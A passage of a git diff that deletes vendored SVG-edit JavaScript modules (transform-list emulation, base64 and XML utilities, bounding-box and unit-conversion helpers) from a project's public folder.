-			if (m.a == m.d) text = "scale(" + m.a + ")";
-			else text = "scale(" + m.a + "," + m.d + ")";
-			break;
-		case 4: // ROTATE
-			var cx = 0, cy = 0;
-			// this prevents divide by zero
-			if (xform.angle != 0) {
-				var K = 1 - m.a;
-				cy = ( K * m.f + m.b*m.e ) / ( K*K + m.b*m.b );
-				cx = ( m.e - m.b * cy ) / K;
-			}
-			text = "rotate(" + xform.angle + " " + cx + "," + cy + ")";
-			break;
-	}
-	return text;
-};
-
-
-/**
- * Map of SVGTransformList objects.
- */
-var listMap_ = {};
-
-
-// **************************************************************************************
-// SVGTransformList implementation for Webkit 
-// These methods do not currently raise any exceptions.
-// These methods also do not check that transforms are being inserted.  This is basically
-// implementing as much of SVGTransformList that we need to get the job done.
-//
-//  interface SVGEditTransformList { 
-//		attribute unsigned long numberOfItems;
-//		void   clear (  )
-//		SVGTransform initialize ( in SVGTransform newItem )
-//		SVGTransform getItem ( in unsigned long index ) (DOES NOT THROW DOMException, INDEX_SIZE_ERR)
-//		SVGTransform insertItemBefore ( in SVGTransform newItem, in unsigned long index ) (DOES NOT THROW DOMException, INDEX_SIZE_ERR)
-//		SVGTransform replaceItem ( in SVGTransform newItem, in unsigned long index ) (DOES NOT THROW DOMException, INDEX_SIZE_ERR)
-//		SVGTransform removeItem ( in unsigned long index ) (DOES NOT THROW DOMException, INDEX_SIZE_ERR)
-//		SVGTransform appendItem ( in SVGTransform newItem )
-//		NOT IMPLEMENTED: SVGTransform createSVGTransformFromMatrix ( in SVGMatrix matrix );
-//		NOT IMPLEMENTED: SVGTransform consolidate (  );
-//	}
-// **************************************************************************************
-svgedit.transformlist.SVGTransformList = function(elem) {
-	this._elem = elem || null;
-	this._xforms = [];
-	// TODO: how do we capture the undo-ability in the changed transform list?
-	this._update = function() {
-		var tstr = "";
-		var concatMatrix = svgroot.createSVGMatrix();
-		for (var i = 0; i < this.numberOfItems; ++i) {
-			var xform = this._list.getItem(i);
-			tstr += transformToString(xform) + " ";
-		}
-		this._elem.setAttribute("transform", tstr);
-	};
-	this._list = this;
-	this._init = function() {
-		// Transform attribute parser
-		var str = this._elem.getAttribute("transform");
-		if(!str) return;
-		
-		// TODO: Add skew support in future
-		var re = /\s*((scale|matrix|rotate|translate)\s*\(.*?\))\s*,?\s*/;
-		var arr = [];
-		var m = true;
-		while(m) {
-			m = str.match(re);
-			str = str.replace(re,'');
-			if(m && m[1]) {
-				var x = m[1];
-				var bits = x.split(/\s*\(/);
-				var name = bits[0];
-				var val_bits = bits[1].match(/\s*(.*?)\s*\)/);
-				val_bits[1] = val_bits[1].replace(/(\d)-/g, "$1 -");
-				var val_arr = val_bits[1].split(/[, ]+/);
-				var letters = 'abcdef'.split('');
-				var mtx = svgroot.createSVGMatrix();
-				$.each(val_arr, function(i, item) {
-					val_arr[i] = parseFloat(item);
-					if(name == 'matrix') {
-						mtx[letters[i]] = val_arr[i];
-					}
-				});
-				var xform = svgroot.createSVGTransform();
-				var fname = 'set' + name.charAt(0).toUpperCase() + name.slice(1);
-				var values = name=='matrix'?[mtx]:val_arr;
-				
-				if (name == 'scale' && values.length == 1) {
-					values.push(values[0]);
-				} else if (name == 'translate' && values.length == 1) {
-					values.push(0);
-				} else if (name == 'rotate' && values.length == 1) {
-					values.push(0);
-					values.push(0);
-				}
-				xform[fname].apply(xform, values);
-				this._list.appendItem(xform);
-			}
-		}
-	};
-	this._removeFromOtherLists = function(item) {
-		if (item) {
-			// Check if this transform is already in a transformlist, and
-			// remove it if so.
-			var found = false;
-			for (var id in listMap_) {
-				var tl = listMap_[id];
-				for (var i = 0, len = tl._xforms.length; i < len; ++i) {
-					if(tl._xforms[i] == item) {
-						found = true;
-						tl.removeItem(i);
-						break;
-					}
-				}
-				if (found) {
-					break;
-				}
-			}
-		}
-	};
-	
-	this.numberOfItems = 0;
-	this.clear = function() { 
-		this.numberOfItems = 0;
-		this._xforms = [];
-	};
-	
-	this.initialize = function(newItem) {
-		this.numberOfItems = 1;
-		this._removeFromOtherLists(newItem);
-		this._xforms = [newItem];
-	};
-	
-	this.getItem = function(index) {
-		if (index < this.numberOfItems && index >= 0) {
-			return this._xforms[index];
-		}
-		throw {code: 1}; // DOMException with code=INDEX_SIZE_ERR
-	};
-	
-	this.insertItemBefore = function(newItem, index) {
-		var retValue = null;
-		if (index >= 0) {
-			if (index < this.numberOfItems) {
-				this._removeFromOtherLists(newItem);
-				var newxforms = new Array(this.numberOfItems + 1);
-				// TODO: use array copying and slicing
-				for ( var i = 0; i < index; ++i) {
-					newxforms[i] = this._xforms[i];
-				}
-				newxforms[i] = newItem;
-				for ( var j = i+1; i < this.numberOfItems; ++j, ++i) {
-					newxforms[j] = this._xforms[i];
-				}
-				this.numberOfItems++;
-				this._xforms = newxforms;
-				retValue = newItem;
-				this._list._update();
-			}
-			else {
-				retValue = this._list.appendItem(newItem);
-			}
-		}
-		return retValue;
-	};
-	
-	this.replaceItem = function(newItem, index) {
-		var retValue = null;
-		if (index < this.numberOfItems && index >= 0) {
-			this._removeFromOtherLists(newItem);
-			this._xforms[index] = newItem;
-			retValue = newItem;
-			this._list._update();
-		}
-		return retValue;
-	};
-	
-	this.removeItem = function(index) {
-		if (index < this.numberOfItems && index >= 0) {
-			var retValue = this._xforms[index];
-			var newxforms = new Array(this.numberOfItems - 1);
-			for (var i = 0; i < index; ++i) {
-				newxforms[i] = this._xforms[i];
-			}
-			for (var j = i; j < this.numberOfItems-1; ++j, ++i) {
-				newxforms[j] = this._xforms[i+1];
-			}
-			this.numberOfItems--;
-			this._xforms = newxforms;
-			this._list._update();
-			return retValue;
-		} else {
-			throw {code: 1}; // DOMException with code=INDEX_SIZE_ERR
-		}
-	};
-	
-	this.appendItem = function(newItem) {
-		this._removeFromOtherLists(newItem);
-		this._xforms.push(newItem);
-		this.numberOfItems++;
-		this._list._update();
-		return newItem;
-	};
-};
-
-
-svgedit.transformlist.resetListMap = function() {
-	listMap_ = {};
-};
-
-/**
- * Removes transforms of the given element from the map.
- * Parameters:
- * elem - a DOM Element
- */
-svgedit.transformlist.removeElementFromListMap = function(elem) {
-	if (elem.id && listMap_[elem.id]) {
-		delete listMap_[elem.id];
-	}
-};
-
-// Function: getTransformList
-// Returns an object that behaves like a SVGTransformList for the given DOM element
-//
-// Parameters:
-// elem - DOM element to get a transformlist from
-svgedit.transformlist.getTransformList = function(elem) {
-	if (!svgedit.browser.supportsNativeTransformLists()) {
-		var id = elem.id;
-		if(!id) {
-			// Get unique ID for temporary element
-			id = 'temp';
-		}
-		var t = listMap_[id];
-		if (!t || id == 'temp') {
-			listMap_[id] = new svgedit.transformlist.SVGTransformList(elem);
-			listMap_[id]._init();
-			t = listMap_[id];
-		}
-		return t;
-	}
-	else if (elem.transform) {
-		return elem.transform.baseVal;
-	}
-	else if (elem.gradientTransform) {
-		return elem.gradientTransform.baseVal;
-	}
-	else if (elem.patternTransform) {
-		return elem.patternTransform.baseVal;
-	}
-
-	return null;
-};
-
-
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/svgutils.js b/public/svg-edit/editor/svgutils.js
deleted file mode 100644
index 931fb334..00000000
--- a/public/svg-edit/editor/svgutils.js
+++ /dev/null
@@ -1,647 +0,0 @@
-/**
- * Package: svgedit.utilities
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) browser.js
-// 3) svgtransformlist.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.utilities) {
-	svgedit.utilities = {};
-}
-
-// Constants
-
-// String used to encode base64.
-var KEYSTR = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
-var SVGNS = 'http://www.w3.org/2000/svg';
-var XLINKNS = 'http://www.w3.org/1999/xlink';
-var XMLNS = "http://www.w3.org/XML/1998/namespace";
-
-// Much faster than running getBBox() every time
-var visElems = 'a,circle,ellipse,foreignObject,g,image,line,path,polygon,polyline,rect,svg,text,tspan,use';
-var visElems_arr = visElems.split(',');
-//var hidElems = 'clipPath,defs,desc,feGaussianBlur,filter,linearGradient,marker,mask,metadata,pattern,radialGradient,stop,switch,symbol,title,textPath';
-
-var editorContext_ = null;
-var domdoc_ = null;
-var domcontainer_ = null;
-var svgroot_ = null;
-
-svgedit.utilities.init = function(editorContext) {
-	editorContext_ = editorContext;
-	domdoc_ = editorContext.getDOMDocument();
-	domcontainer_ = editorContext.getDOMContainer();
-	svgroot_ = editorContext.getSVGRoot();
-};
-
-// Function: svgedit.utilities.toXml
-// Converts characters in a string to XML-friendly entities.
-//
-// Example: "&" becomes "&amp;"
-//
-// Parameters:
-// str - The string to be converted
-//
-// Returns:
-// The converted string
-svgedit.utilities.toXml = function(str) {
-	return $('<p/>').text(str).html();
-};
-	
-// Function: svgedit.utilities.fromXml
-// Converts XML entities in a string to single characters. 
-// Example: "&amp;" becomes "&"
-//
-// Parameters:
-// str - The string to be converted
-//
-// Returns: 
-// The converted string
-svgedit.utilities.fromXml = function(str) {
-	return $('<p/>').html(str).text();
-};
-
-// This code was written by Tyler Akins and has been placed in the
-// public domain.  It would be nice if you left this header intact.
-// Base64 code from Tyler Akins -- http://rumkin.com
-
-// schiller: Removed string concatenation in favour of Array.join() optimization,
-//           also precalculate the size of the array needed.
-
-// Function: svgedit.utilities.encode64
-// Converts a string to base64
-svgedit.utilities.encode64 = function(input) {
-	// base64 strings are 4/3 larger than the original string
-//	input = svgedit.utilities.encodeUTF8(input); // convert non-ASCII characters
-	input = svgedit.utilities.convertToXMLReferences(input);
-	if(window.btoa) return window.btoa(input); // Use native if available
-	var output = new Array( Math.floor( (input.length + 2) / 3 ) * 4 );
-	var chr1, chr2, chr3;
-	var enc1, enc2, enc3, enc4;
-	var i = 0, p = 0;
-
-	do {
-		chr1 = input.charCodeAt(i++);
-		chr2 = input.charCodeAt(i++);
-		chr3 = input.charCodeAt(i++);
-
-		enc1 = chr1 >> 2;
-		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
-		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
-		enc4 = chr3 & 63;
-
-		if (isNaN(chr2)) {
-			enc3 = enc4 = 64;
-		} else if (isNaN(chr3)) {
-			enc4 = 64;
-		}
-
-		output[p++] = KEYSTR.charAt(enc1);
-		output[p++] = KEYSTR.charAt(enc2);
-		output[p++] = KEYSTR.charAt(enc3);
-		output[p++] = KEYSTR.charAt(enc4);
-	} while (i < input.length);
-
-	return output.join('');
-};
-
-// Function: svgedit.utilities.decode64
-// Converts a string from base64
-svgedit.utilities.decode64 = function(input) {
-	if(window.atob) return window.atob(input);
-	var output = "";
-	var chr1, chr2, chr3 = "";
-	var enc1, enc2, enc3, enc4 = "";
-	var i = 0;
-
-	 // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
-	 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
-
-	 do {
-		enc1 = KEYSTR.indexOf(input.charAt(i++));
-		enc2 = KEYSTR.indexOf(input.charAt(i++));
-		enc3 = KEYSTR.indexOf(input.charAt(i++));
-		enc4 = KEYSTR.indexOf(input.charAt(i++));
-
-		chr1 = (enc1 << 2) | (enc2 >> 4);
-		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
-		chr3 = ((enc3 & 3) << 6) | enc4;
-
-		output = output + String.fromCharCode(chr1);
-
-		if (enc3 != 64) {
-		   output = output + String.fromCharCode(chr2);
-		}
-		if (enc4 != 64) {
-		   output = output + String.fromCharCode(chr3);
-		}
-
-		chr1 = chr2 = chr3 = "";
-		enc1 = enc2 = enc3 = enc4 = "";
-
-	 } while (i < input.length);
-	 return unescape(output);
-};
-
-// Currently not being used, so commented out for now
-// based on http://phpjs.org/functions/utf8_encode:577
-// codedread:does not seem to work with webkit-based browsers on OSX
-// 		"encodeUTF8": function(input) {
-// 			//return unescape(encodeURIComponent(input)); //may or may not work
-// 			var output = '';
-// 			for (var n = 0; n < input.length; n++){
-// 				var c = input.charCodeAt(n);
-// 				if (c < 128) {
-// 					output += input[n];
-// 				}
-// 				else if (c > 127) {
-// 					if (c < 2048){
-// 						output += String.fromCharCode((c >> 6) | 192);
-// 					} 
-// 					else {
-// 						output += String.fromCharCode((c >> 12) | 224) + String.fromCharCode((c >> 6) & 63 | 128);
-// 					}
-// 					output += String.fromCharCode((c & 63) | 128);
-// 				}
-// 			}
-// 			return output;
-// 		},
-
-// Function: svgedit.utilities.convertToXMLReferences 
-// Converts a string to use XML references
-svgedit.utilities.convertToXMLReferences = function(input) {
-	var output = '';
-	for (var n = 0; n < input.length; n++){
-		var c = input.charCodeAt(n);
-		if (c < 128) {
-			output += input[n];
-		} else if(c > 127) {
-			output += ("&#" + c + ";");
-		}
-	}
-	return output;
-};
-
-// Function: svgedit.utilities.text2xml
-// Cross-browser compatible method of converting a string to an XML tree
-// found this function here: http://groups.google.com/group/jquery-dev/browse_thread/thread/c6d11387c580a77f
-svgedit.utilities.text2xml = function(sXML) {
-	if(sXML.indexOf('<svg:svg') >= 0) {
-		sXML = sXML.replace(/<(\/?)svg:/g, '<$1').replace('xmlns:svg', 'xmlns');
-	}
-
-	var out;
-	try{
-		var dXML = (window.DOMParser)?new DOMParser():new ActiveXObject("Microsoft.XMLDOM");
-		dXML.async = false;
-	} catch(e){ 
-		throw new Error("XML Parser could not be instantiated"); 
-	};
-	try{
-		if(dXML.loadXML) out = (dXML.loadXML(sXML))?dXML:false;
-		else out = dXML.parseFromString(sXML, "text/xml");
-	}
-	catch(e){ throw new Error("Error parsing XML string"); };
-	return out;
-};
-
-// Function: svgedit.utilities.bboxToObj
-// Converts a SVGRect into an object.
-// 
-// Parameters:
-// bbox - a SVGRect
-// 
-// Returns:
-// An object with properties names x, y, width, height.
-svgedit.utilities.bboxToObj = function(bbox) {
-	return {
-		x: bbox.x,
-		y: bbox.y,
-		width: bbox.width,
-		height: bbox.height
-	}
-};
-
-// Function: svgedit.utilities.walkTree
-// Walks the tree and executes the callback on each element in a top-down fashion
-//
-// Parameters:
-// elem - DOM element to traverse
-// cbFn - Callback function to run on each element
-svgedit.utilities.walkTree = function(elem, cbFn){
-	if (elem && elem.nodeType == 1) {
-		cbFn(elem);
-		var i = elem.childNodes.length;
-		while (i--) {
-			svgedit.utilities.walkTree(elem.childNodes.item(i), cbFn);
-		}
-	}
-};
-
-// Function: svgedit.utilities.walkTreePost
-// Walks the tree and executes the callback on each element in a depth-first fashion
-// TODO: FIXME: Shouldn't this be calling walkTreePost?
-//
-// Parameters:
-// elem - DOM element to traverse
-// cbFn - Callback function to run on each element
-svgedit.utilities.walkTreePost = function(elem, cbFn) {
-	if (elem && elem.nodeType == 1) {
-		var i = elem.childNodes.length;
-		while (i--) {
-			svgedit.utilities.walkTree(elem.childNodes.item(i), cbFn);
-		}
-		cbFn(elem);
-	}
-};
-
-// Function: svgedit.utilities.getUrlFromAttr
-// Extracts the URL from the url(...) syntax of some attributes.  
-// Three variants:
-// 	* <circle fill="url(someFile.svg#foo)" />
-//  * <circle fill="url('someFile.svg#foo')" />
-//  * <circle fill='url("someFile.svg#foo")' />
-//
-// Parameters:
-// attrVal - The attribute value as a string
-// 
-// Returns:
-// String with just the URL, like someFile.svg#foo
-svgedit.utilities.getUrlFromAttr = function(attrVal) {
-	if (attrVal) {		
-		// url("#somegrad")
-		if (attrVal.indexOf('url("') === 0) {
-			return attrVal.substring(5,attrVal.indexOf('"',6));
-		}
-		// url('#somegrad')
-		else if (attrVal.indexOf("url('") === 0) {
-			return attrVal.substring(5,attrVal.indexOf("'",6));
-		}
-		else if (attrVal.indexOf("url(") === 0) {
-			return attrVal.substring(4,attrVal.indexOf(')'));
-		}
-	}
-	return null;
-};
-
-// Function: svgedit.utilities.getHref
-// Returns the given element's xlink:href value
-svgedit.utilities.getHref = function(elem) {
-	return elem.getAttributeNS(XLINKNS, "href");
-}
-
-// Function: svgedit.utilities.setHref
-// Sets the given element's xlink:href value
-svgedit.utilities.setHref = function(elem, val) {
-	elem.setAttributeNS(XLINKNS, "xlink:href", val);
-}
-
-// Function: findDefs
-// Parameters:
-// svgElement - The <svg> element.
-//
-// Returns:
-// The document's <defs> element, create it first if necessary
-svgedit.utilities.findDefs = function(svgElement) {
-	var svgElement = editorContext_.getSVGContent().documentElement;
-	var defs = svgElement.getElementsByTagNameNS(SVGNS, "defs");
-	if (defs.length > 0) {
-		defs = defs[0];
-	}
-	else {
-		// first child is a comment, so call nextSibling
-		defs = svgElement.insertBefore( svgElement.ownerDocument.createElementNS(SVGNS, "defs" ), svgElement.firstChild.nextSibling);
-	}
-	return defs;
-};
-
-// TODO(codedread): Consider moving the next to functions to bbox.js
-
-// Function: svgedit.utilities.getPathBBox
-// Get correct BBox for a path in Webkit
-// Converted from code found here:
-// http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html
-// 
-// Parameters:
-// path - The path DOM element to get the BBox for
-//
-// Returns:
-// A BBox-like object
-svgedit.utilities.getPathBBox = function(path) {
-	var seglist = path.pathSegList;
-	var tot = seglist.numberOfItems;
-	
-	var bounds = [[], []];
-	var start = seglist.getItem(0);
-	var P0 = [start.x, start.y];
-	
-	for(var i=0; i < tot; i++) {
-		var seg = seglist.getItem(i);
-		if(!seg.x) continue;
-		
-		// Add actual points to limits
-		bounds[0].push(P0[0]);
-		bounds[1].push(P0[1]);
-		
-		if(seg.x1) {
-			var P1 = [seg.x1, seg.y1],
-				P2 = [seg.x2, seg.y2],
-				P3 = [seg.x, seg.y];
-
-			for(var j=0; j < 2; j++) {
-
-				var calc = function(t) {
-					return Math.pow(1-t,3) * P0[j] 
-						+ 3 * Math.pow(1-t,2) * t * P1[j]
-						+ 3 * (1-t) * Math.pow(t,2) * P2[j]
-						+ Math.pow(t,3) * P3[j];
-				};
-
-				var b = 6 * P0[j] - 12 * P1[j] + 6 * P2[j];
-				var a = -3 * P0[j] + 9 * P1[j] - 9 * P2[j] + 3 * P3[j];
-				var c = 3 * P1[j] - 3 * P0[j];
-				
-				if(a == 0) {
-					if(b == 0) {
-						continue;
-					}
-					var t = -c / b;
-					if(0 < t && t < 1) {
-						bounds[j].push(calc(t));
-					}
-					continue;
-				}
-				
-				var b2ac = Math.pow(b,2) - 4 * c * a;
-				if(b2ac < 0) continue;
-				var t1 = (-b + Math.sqrt(b2ac))/(2 * a);
-				if(0 < t1 && t1 < 1) bounds[j].push(calc(t1));
-				var t2 = (-b - Math.sqrt(b2ac))/(2 * a);
-				if(0 < t2 && t2 < 1) bounds[j].push(calc(t2));
-			}
-			P0 = P3;
-		} else {
-			bounds[0].push(seg.x);
-			bounds[1].push(seg.y);
-		}
-	}
-	
-	var x = Math.min.apply(null, bounds[0]);
-	var w = Math.max.apply(null, bounds[0]) - x;
-	var y = Math.min.apply(null, bounds[1]);
-	var h = Math.max.apply(null, bounds[1]) - y;
-	return {
-		'x': x,
-		'y': y,
-		'width': w,
-		'height': h
-	};
-};
-
-// Function: groupBBFix
-// Get the given/selected element's bounding box object, checking for
-// horizontal/vertical lines (see issue 717)
-// Note that performance is currently terrible, so some way to improve would
-// be great.
-//
-// Parameters: 
-// selected - Container or <use> DOM element
-function groupBBFix(selected) {
-	if(svgedit.browser.supportsHVLineContainerBBox()) {
-		try { return selected.getBBox();} catch(e){} 
-	}
-	var ref = $.data(selected, 'ref');
-	var matched = null;
-	
-	if(ref) {
-		var copy = $(ref).children().clone().attr('visibility', 'hidden');
-		$(svgroot_).append(copy);
-		matched = copy.filter('line, path');
-	} else {
-		matched = $(selected).find('line, path');
-	}
-	
-	var issue = false;
-	if(matched.length) {
-		matched.each(function() {
-			var bb = this.getBBox();
-			if(!bb.width || !bb.height) {
-				issue = true;
-			}
-		});
-		if(issue) {
-			var elems = ref ? copy : $(selected).children();
-			ret = getStrokedBBox(elems);
-		} else {
-			ret = selected.getBBox();
-		}
-	} else {
-		ret = selected.getBBox();
-	}
-	if(ref) {
-		copy.remove();
-	}
-	return ret;
-}
-
-// Function: svgedit.utilities.getBBox
-// Get the given/selected element's bounding box object, convert it to be more
-// usable when necessary
-//
-// Parameters:
-// elem - Optional DOM element to get the BBox for
-svgedit.utilities.getBBox = function(elem) {
-	var selected = elem || editorContext_.geSelectedElements()[0];
-	if (elem.nodeType != 1) return null;
-	var ret = null;
-	var elname = selected.nodeName;
-	
-	switch ( elname ) {
-	case 'text':
-		if(selected.textContent === '') {
-			selected.textContent = 'a'; // Some character needed for the selector to use.
-			ret = selected.getBBox();
-			selected.textContent = '';
-		} else {
-			try { ret = selected.getBBox();} catch(e){}
-		}
-		break;
-	case 'path':
-		if(!svgedit.browser.supportsPathBBox()) {
-			ret = svgedit.utilities.getPathBBox(selected);
-		} else {
-			try { ret = selected.getBBox();} catch(e){}
-		}
-		break;
-	case 'g':
-	case 'a':
-		ret = groupBBFix(selected);
-		break;
-	default:
-
-		if(elname === 'use') {
-			ret = groupBBFix(selected, true);
-		}
-		
-		if(elname === 'use' || elname === 'foreignObject') {
-			if(!ret) ret = selected.getBBox();
-			if(!svgedit.browser.isWebkit()) {
-				var bb = {};
-				bb.width = ret.width;
-				bb.height = ret.height;
-				bb.x = ret.x + parseFloat(selected.getAttribute('x')||0);
-				bb.y = ret.y + parseFloat(selected.getAttribute('y')||0);
-				ret = bb;
-			}
-		} else if(~visElems_arr.indexOf(elname)) {
-			try { ret = selected.getBBox();} 
-			catch(e) { 
-				// Check if element is child of a foreignObject
-				var fo = $(selected).closest("foreignObject");
-				if(fo.length) {
-					try {
-						ret = fo[0].getBBox();
-					} catch(e) {
-						ret = null;
-					}
-				} else {
-					ret = null;
-				}
-			}
-		}
-	}
-	
-	if(ret) {
-		ret = svgedit.utilities.bboxToObj(ret);
-	}
-
-	// get the bounding box from the DOM (which is in that element's coordinate system)
-	return ret;
-};
-
-// Function: svgedit.utilities.getRotationAngle
-// Get the rotation angle of the given/selected DOM element
-//
-// Parameters:
-// elem - Optional DOM element to get the angle for
-// to_rad - Boolean that when true returns the value in radians rather than degrees
-//
-// Returns:
-// Float with the angle in degrees or radians
-svgedit.utilities.getRotationAngle = function(elem, to_rad) {
-	var selected = elem || editorContext_.getSelectedElements()[0];
-	// find the rotation transform (if any) and set it
-	var tlist = svgedit.transformlist.getTransformList(selected);
-	if(!tlist) return 0; // <svg> elements have no tlist
-	var N = tlist.numberOfItems;
-	for (var i = 0; i < N; ++i) {
-		var xform = tlist.getItem(i);
-		if (xform.type == 4) {
-			return to_rad ? xform.angle * Math.PI / 180.0 : xform.angle;
-		}
-	}
-	return 0.0;
-};
-
-// Function: getElem
-// Get a DOM element by ID within the SVG root element.
-//
-// Parameters:
-// id - String with the element's new ID
-if (svgedit.browser.supportsSelectors()) {
-	svgedit.utilities.getElem = function(id) {
-		// querySelector lookup
-		return svgroot_.querySelector('#'+id);
-	};
-} else if (svgedit.browser.supportsXpath()) {
-	svgedit.utilities.getElem = function(id) {
-		// xpath lookup
-		return domdoc_.evaluate(
-			'svg:svg[@id="svgroot"]//svg:*[@id="'+id+'"]',
-			domcontainer_, 
-			function() { return "http://www.w3.org/2000/svg"; },
-			9,
-			null).singleNodeValue;
-	};
-} else {
-	svgedit.utilities.getElem = function(id) {
-		// jQuery lookup: twice as slow as xpath in FF
-		return $(svgroot_).find('[id=' + id + ']')[0];
-	};
-}
-
-// Function: assignAttributes
-// Assigns multiple attributes to an element.
-//
-// Parameters: 
-// node - DOM element to apply new attribute values to
-// attrs - Object with attribute keys/values
-// suspendLength - Optional integer of milliseconds to suspend redraw
-// unitCheck - Boolean to indicate the need to use svgedit.units.setUnitAttr
-svgedit.utilities.assignAttributes = function(node, attrs, suspendLength, unitCheck) {
-	if(!suspendLength) suspendLength = 0;
-	// Opera has a problem with suspendRedraw() apparently
-	var handle = null;
-	if (!svgedit.browser.isOpera()) svgroot_.suspendRedraw(suspendLength);
-
-	for (var i in attrs) {
-		var ns = (i.substr(0,4) === "xml:" ? XMLNS : 
-			i.substr(0,6) === "xlink:" ? XLINKNS : null);
-			
-		if(ns) {
-			node.setAttributeNS(ns, i, attrs[i]);
-		} else if(!unitCheck) {
-			node.setAttribute(i, attrs[i]);
-		} else {
-			svgedit.units.setUnitAttr(node, i, attrs[i]);
-		}
-		
-	}
-	
-	if (!svgedit.browser.isOpera()) svgroot_.unsuspendRedraw(handle);
-};
-
-// Function: cleanupElement
-// Remove unneeded (default) attributes, makes resulting SVG smaller
-//
-// Parameters:
-// element - DOM element to clean up
-svgedit.utilities.cleanupElement = function(element) {
-	var handle = svgroot_.suspendRedraw(60);
-	var defaults = {
-		'fill-opacity':1,
-		'stop-opacity':1,
-		'opacity':1,
-		'stroke':'none',
-		'stroke-dasharray':'none',
-		'stroke-linejoin':'miter',
-		'stroke-linecap':'butt',
-		'stroke-opacity':1,
-		'stroke-width':1,
-		'rx':0,
-		'ry':0
-	}
-	
-	for(var attr in defaults) {
-		var val = defaults[attr];
-		if(element.getAttribute(attr) == val) {
-			element.removeAttribute(attr);
-		}
-	}
-	
-	svgroot_.unsuspendRedraw(handle);
-};
-
-
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/units.js b/public/svg-edit/editor/units.js
deleted file mode 100644
index 8be858cb..00000000
--- a/public/svg-edit/editor/units.js
+++ /dev/null
@@ -1,281 +0,0 @@
-/**
- * Package: svgedit.units
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// 1) jQuery
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.units) {
-	svgedit.units = {};
-}
-
-var w_attrs = ['x', 'x1', 'cx', 'rx', 'width'];
-var h_attrs = ['y', 'y1', 'cy', 'ry', 'height'];
-var unit_attrs = $.merge(['r','radius'], w_attrs);
-
-var unitNumMap = {
-	'%':  2,
-	'em': 3,
-	'ex': 4,
-	'px': 5,
-	'cm': 6,
-	'mm': 7,
-	'in': 8,
-	'pt': 9,
-	'pc': 10
-};
-
-$.merge(unit_attrs, h_attrs);
-
-// Container of elements.
-var elementContainer_;
-
-/**
- * Stores mapping of unit type to user coordinates.
- */
-var typeMap_ = {px: 1};
-
-/**
- * ElementContainer interface
- *
- * function getBaseUnit() - returns a string of the base unit type of the container ("em")
- * function getElement() - returns an element in the container given an id
- * function getHeight() - returns the container's height
- * function getWidth() - returns the container's width
- * function getRoundDigits() - returns the number of digits number should be rounded to
- */
-
-/**
- * Function: svgedit.units.init()
- * Initializes this module.
- *
- * Parameters:
- * elementContainer - an object implementing the ElementContainer interface.
- */
-svgedit.units.init = function(elementContainer) {
-	elementContainer_ = elementContainer;
-
-	var svgns = 'http://www.w3.org/2000/svg';
-
-	// Get correct em/ex values by creating a temporary SVG.
-	var svg = document.createElementNS(svgns, 'svg');
-	document.body.appendChild(svg);
-	var rect = document.createElementNS(svgns,'rect');
-	rect.setAttribute('width',"1em");
-	rect.setAttribute('height',"1ex");
-	rect.setAttribute('x',"1in");
-	svg.appendChild(rect);
-	var bb = rect.getBBox();
-	document.body.removeChild(svg);
-
-	var inch = bb.x;
-	typeMap_['em'] = bb.width;
-	typeMap_['ex'] = bb.height;
-	typeMap_['in'] = inch;
-	typeMap_['cm'] = inch / 2.54;
-	typeMap_['mm'] = inch / 25.4;
-	typeMap_['pt'] = inch / 72;
-	typeMap_['pc'] = inch / 6;
-	typeMap_['%'] = 0;
-};
-
-// Group: Unit conversion functions
-
-// Function: svgedit.units.getTypeMap
-// Returns the unit object with values for each unit
-svgedit.units.getTypeMap = function() {
-	return typeMap_;
-};
-
-// Function: svgedit.units.shortFloat
-// Rounds a given value to a float with number of digits defined in save_options
-//
-// Parameters: 
-// val - The value as a String, Number or Array of two numbers to be rounded
-//
-// Returns:
-// If a string/number was given, returns a Float. If an array, return a string
-// with comma-seperated floats
-svgedit.units.shortFloat = function(val) {
-	var digits = elementContainer_.getRoundDigits();
-	if(!isNaN(val)) {
-		// Note that + converts to Number
-		return +((+val).toFixed(digits));
-	} else if($.isArray(val)) {
-		return svgedit.units.shortFloat(val[0]) + ',' + svgedit.units.shortFloat(val[1]);
-	}
-	return parseFloat(val).toFixed(digits) - 0;
-};
-
-// Function: svgedit.units.convertUnit
-// Converts the number to given unit or baseUnit
-svgedit.units.convertUnit = function(val, unit) {
-	unit = unit || elementContainer_.getBaseUnit();
-//	baseVal.convertToSpecifiedUnits(unitNumMap[unit]);
-//	var val = baseVal.valueInSpecifiedUnits;
-//	baseVal.convertToSpecifiedUnits(1);
-	return svgedit.unit.shortFloat(val / typeMap_[unit]);
-};
-
-// Function: svgedit.units.setUnitAttr
-// Sets an element's attribute based on the unit in its current value.
-//
-// Parameters: 
-// elem - DOM element to be changed
-// attr - String with the name of the attribute associated with the value
-// val - String with the attribute value to convert
-svgedit.units.setUnitAttr = function(elem, attr, val) {
-	if(!isNaN(val)) {
-		// New value is a number, so check currently used unit
-		var old_val = elem.getAttribute(attr);
-		
-		// Enable this for alternate mode
-//		if(old_val !== null && (isNaN(old_val) || elementContainer_.getBaseUnit() !== 'px')) {
-//			// Old value was a number, so get unit, then convert
-//			var unit;
-//			if(old_val.substr(-1) === '%') {
-//				var res = getResolution();
-//				unit = '%';
-//				val *= 100;
-//				if(w_attrs.indexOf(attr) >= 0) {
-//					val = val / res.w;
-//				} else if(h_attrs.indexOf(attr) >= 0) {
-//					val = val / res.h;
-//				} else {
-//					return val / Math.sqrt((res.w*res.w) + (res.h*res.h))/Math.sqrt(2);
-//				}
-//			} else {
-//				if(elementContainer_.getBaseUnit() !== 'px') {
-//					unit = elementContainer_.getBaseUnit();
-//				} else {
